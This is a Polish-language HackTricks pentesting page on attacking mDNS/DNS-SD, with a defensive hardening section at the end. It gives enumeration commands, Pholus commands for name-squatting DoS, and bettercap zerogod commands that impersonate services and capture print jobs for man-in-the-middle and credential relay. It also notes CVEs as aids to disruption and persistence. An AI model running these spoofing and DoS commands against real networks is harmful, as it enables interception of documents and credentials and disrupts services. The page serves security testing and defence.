5353/UDP Multicast DNS (mDNS) i DNS-SD
Tip
Ucz się i ćwicz Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.
Podstawowe informacje
Multicast DNS (mDNS) umożliwia rozwiązywanie nazw podobne do DNS oraz wykrywanie usług w obrębie sieci lokalnej bez użycia serwera DNS unicast. Używa UDP/5353 oraz adresów multicast 224.0.0.251 (IPv4) i FF02::FB (IPv6). DNS Service Discovery (DNS-SD, zwykle używane z mDNS) dostarcza ustandaryzowany sposób enumeracji i opisu usług za pomocą rekordów PTR, SRV i TXT.
PORT STATE SERVICE
5353/udp open zeroconf
Kluczowe szczegóły protokołu, które często wykorzystasz podczas ataków:
- Nazwy w strefie .local są rozwiązywane za pomocą mDNS.
- Bit QU (Query Unicast) może żądać odpowiedzi unicast nawet dla zapytań multicast.
- Implementacje powinny ignorować pakiety niepochodzące z lokalnego łącza; niektóre stosy nadal je akceptują.
- Probing/announcing wymusza unikalność nazw hostów/usług; ingerencja tutaj tworzy warunki DoS/“name squatting”.
DNS-SD service model
Usługi są identyfikowane jako _
Network Exploration and Enumeration
- nmap target scan (direct mDNS on a host):
nmap -sU -p 5353 --script=dns-service-discovery <target>
- nmap broadcast discovery (listen to the segment and enumerate all DNS-SD types/instances):
sudo nmap --script=broadcast-dns-service-discovery
- avahi-browse (Linux):
# List service types
avahi-browse -bt _services._dns-sd._udp
# Browse all services and resolve to host/port
avahi-browse -art
- Apple dns-sd (macOS):
# Browse all HTTP services
dns-sd -B _http._tcp
# Enumerate service types
dns-sd -B _services._dns-sd._udp
# Resolve a specific instance to SRV/TXT
dns-sd -L "My Printer" _ipp._tcp local
- Packet capture with tshark:
# Live capture
sudo tshark -i <iface> -f "udp port 5353" -Y mdns
# Only DNS-SD service list queries
sudo tshark -i <iface> -f "udp port 5353" -Y "dns.qry.name == \"_services._dns-sd._udp.local\""
Tip: Niektóre przeglądarki/WebRTC używają efemerycznych nazw hostów mDNS, aby maskować lokalne adresy IP. Jeśli na sieci zobaczysz kandydatów random-UUID.local, rozwiąż je przez mDNS, aby pivotować do lokalnych adresów IP.
Attacks
mDNS name probing interference (DoS / name squatting)
Podczas fazy sondowania host sprawdza unikalność nazwy. Odpowiedź z podszytymi konfliktami zmusza go do wyboru nowych nazw lub zakończenia niepowodzeniem. Może to opóźnić lub uniemożliwić rejestrację i wykrywanie usługi.
Example with Pholus:
# Block new devices from taking names by auto-faking responses
sudo python3 pholus3.py <iface> -afre -stimeout 1000
Service spoofing and impersonation (MitM)
Podszywaj się pod reklamowane usługi DNS-SD (drukarki, AirPlay, HTTP, udostępniania plików), aby zmusić klientów do połączenia się z tobą. Jest to szczególnie przydatne do:
- Przechwytywania dokumentów przez podszywanie się pod _ipp._tcp lub _printer._tcp.
- Skierowania klientów do usług HTTP/HTTPS, aby pozyskać tokens/cookies lub dostarczyć payloads.
- Połączenia z NTLM relay techniques, gdy Windows clients negocjują auth z spoofed services.
Za pomocą modułu zerogod w bettercap (mDNS/DNS-SD spoofer/impersonator):
# Start mDNS/DNS-SD discovery
sudo bettercap -iface <iface> -eval "zerogod.discovery on"
# Show all services seen from a host
> zerogod.show 192.168.1.42
# Show full DNS records for a host (newer bettercap)
> zerogod.show-full 192.168.1.42
# Impersonate all services of a target host automatically
> zerogod.impersonate 192.168.1.42
# Save IPP print jobs to disk while impersonating a printer
> set zerogod.ipp.save_path ~/.bettercap/zerogod/documents/
> zerogod.impersonate 192.168.1.42
# Replay previously captured services
> zerogod.save 192.168.1.42 target.yml
> zerogod.advertise target.yml
Zobacz także ogólne workflowy LLMNR/NBNS/mDNS/WPAD spoofingu oraz credential capture/relay:
Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks
Uwagi dotyczące ostatnich problemów z implementacją (przydatne do DoS/persistence podczas działań)
- Avahi reachable-assertion and D-Bus crash bugs (2023) can terminate avahi-daemon on Linux distributions (e.g. CVE-2023-38469..38473, CVE-2023-1981), disrupting service discovery on target hosts until restart.
- Cisco IOS XE Wireless LAN Controller mDNS gateway DoS (CVE-2024-20303) lets adjacent WLAN clients flood crafted mDNS, spiking WLC CPU and dropping AP tunnels—handy if you need to force client roaming or controller resets during an engagement.
- Apple mDNSResponder logic error DoS (CVE-2024-44183) lets a sandboxed local process crash Bonjour to briefly suppress service publication/lookup on Apple endpoints; patched in current iOS/macOS releases.
- Apple mDNSResponder correctness issue (CVE-2025-31222) allowed local privilege escalation via mDNSResponder; useful for persistence on unmanaged Macs/iPhones, fixed in recent iOS/macOS updates.
Browser/WebRTC mDNS considerations
Nowoczesne przeglądarki Chromium/Firefox zaciemniają host candidates za pomocą losowych nazw mDNS. Możesz ponownie ujawnić adresy LAN na zarządzanych endpointach, wymuszając politykę Chrome WebRtcLocalIpsAllowedUrls (lub przełączając chrome://flags/#enable-webrtc-hide-local-ips-with-mdns/odpowiednik w Edge), tak aby ICE ujawniał host candidates zamiast mDNS; ustaw przez HKLM\Software\Policies\Google\Chrome.
Gdy użytkownicy wyłączą ochronę ręcznie (częste w poradnikach rozwiązywania problemów WebRTC), ich przeglądarki zaczynają ponownie ogłaszać zwykłe host candidates, które możesz przechwycić przez mDNS lub ICE signaling, aby przyspieszyć wykrywanie hostów.
Defensive considerations and OPSEC
- Segment boundaries: Don’t route 224.0.0.251/FF02::FB between security zones unless an mDNS gateway is explicitly required. If you must bridge discovery, prefer allowlists and rate limits.
- Windows endpoints/servers:
- To hard-disable name resolution via mDNS set the registry value and reboot:
HKLM\SYSTEM\CurrentControlSet\Services\Dnscache\Parameters\EnableMDNS = 0 (DWORD)
- In managed environments, disable the built-in “mDNS (UDP-In)” Windows Defender Firewall rule (at least on the Domain profile) to prevent inbound mDNS processing while preserving home/roaming functionality.
- On newer Windows 11 builds/GPO templates, use the policy “Computer Configuration > Administrative Templates > Network > DNS Client > Configure multicast DNS (mDNS) protocol” and set it to Disabled.
- Linux (Avahi):
- Lock down publishing when not needed: set
disable-publishing=yes, and restrict interfaces withallow-interfaces=/deny-interfaces=in/etc/avahi/avahi-daemon.conf. - Consider
check-response-ttl=yesand avoidenable-reflector=yesunless strictly required; preferreflect-filters=allowlists when reflecting. - macOS: Restrict inbound mDNS at host/network firewalls when Bonjour discovery is not needed for specific subnets.
- Monitoring: Alert on unusual surges in
_services._dns-sd._udp.localqueries or sudden changes in SRV/TXT of critical services; these are indicators of spoofing or service impersonation.
Tooling quick reference
- nmap NSE:
dns-service-discoveryandbroadcast-dns-service-discovery. - Pholus: active scan, reverse mDNS sweeps, DoS and spoofing helpers.
# Passive sniff (timeout seconds)
sudo python3 pholus3.py <iface> -stimeout 60
# Enumerate service types
sudo python3 pholus3.py <iface> -sscan
# Send generic mDNS requests
sudo python3 pholus3.py <iface> --request
# Reverse mDNS sweep of a subnet
sudo python3 pholus3.py <iface> -rdns_scanning 192.168.2.0/24
- bettercap zerogod: odkrywaj, zapisuj, reklamuj i podszywaj się pod usługi mDNS/DNS-SD (zobacz przykłady powyżej).
Spoofing/MitM
Najciekawszym atakiem, jaki można wykonać przez tę usługę, jest wykonanie MitM w komunikacji między klientem a rzeczywistym serwerem. Możesz uzyskać wrażliwe pliki (MitM komunikacji z drukarką) lub nawet poświadczenia (Windows authentication).
Po więcej informacji sprawdź:
Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks
References
- Practical IoT Hacking: The Definitive Guide to Attacking the Internet of Things
- Nmap NSE: broadcast-dns-service-discovery
- bettercap zerogod (mDNS/DNS-SD discovery, spoofing, impersonation)
- Cisco IOS XE WLC mDNS gateway DoS (CVE-2024-20303) advisory
- Rapid7 advisory for Apple mDNSResponder CVE-2024-44183
- Rapid7 writeup of Apple mDNSResponder CVE-2025-31222
Tip
Ucz się i ćwicz Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.


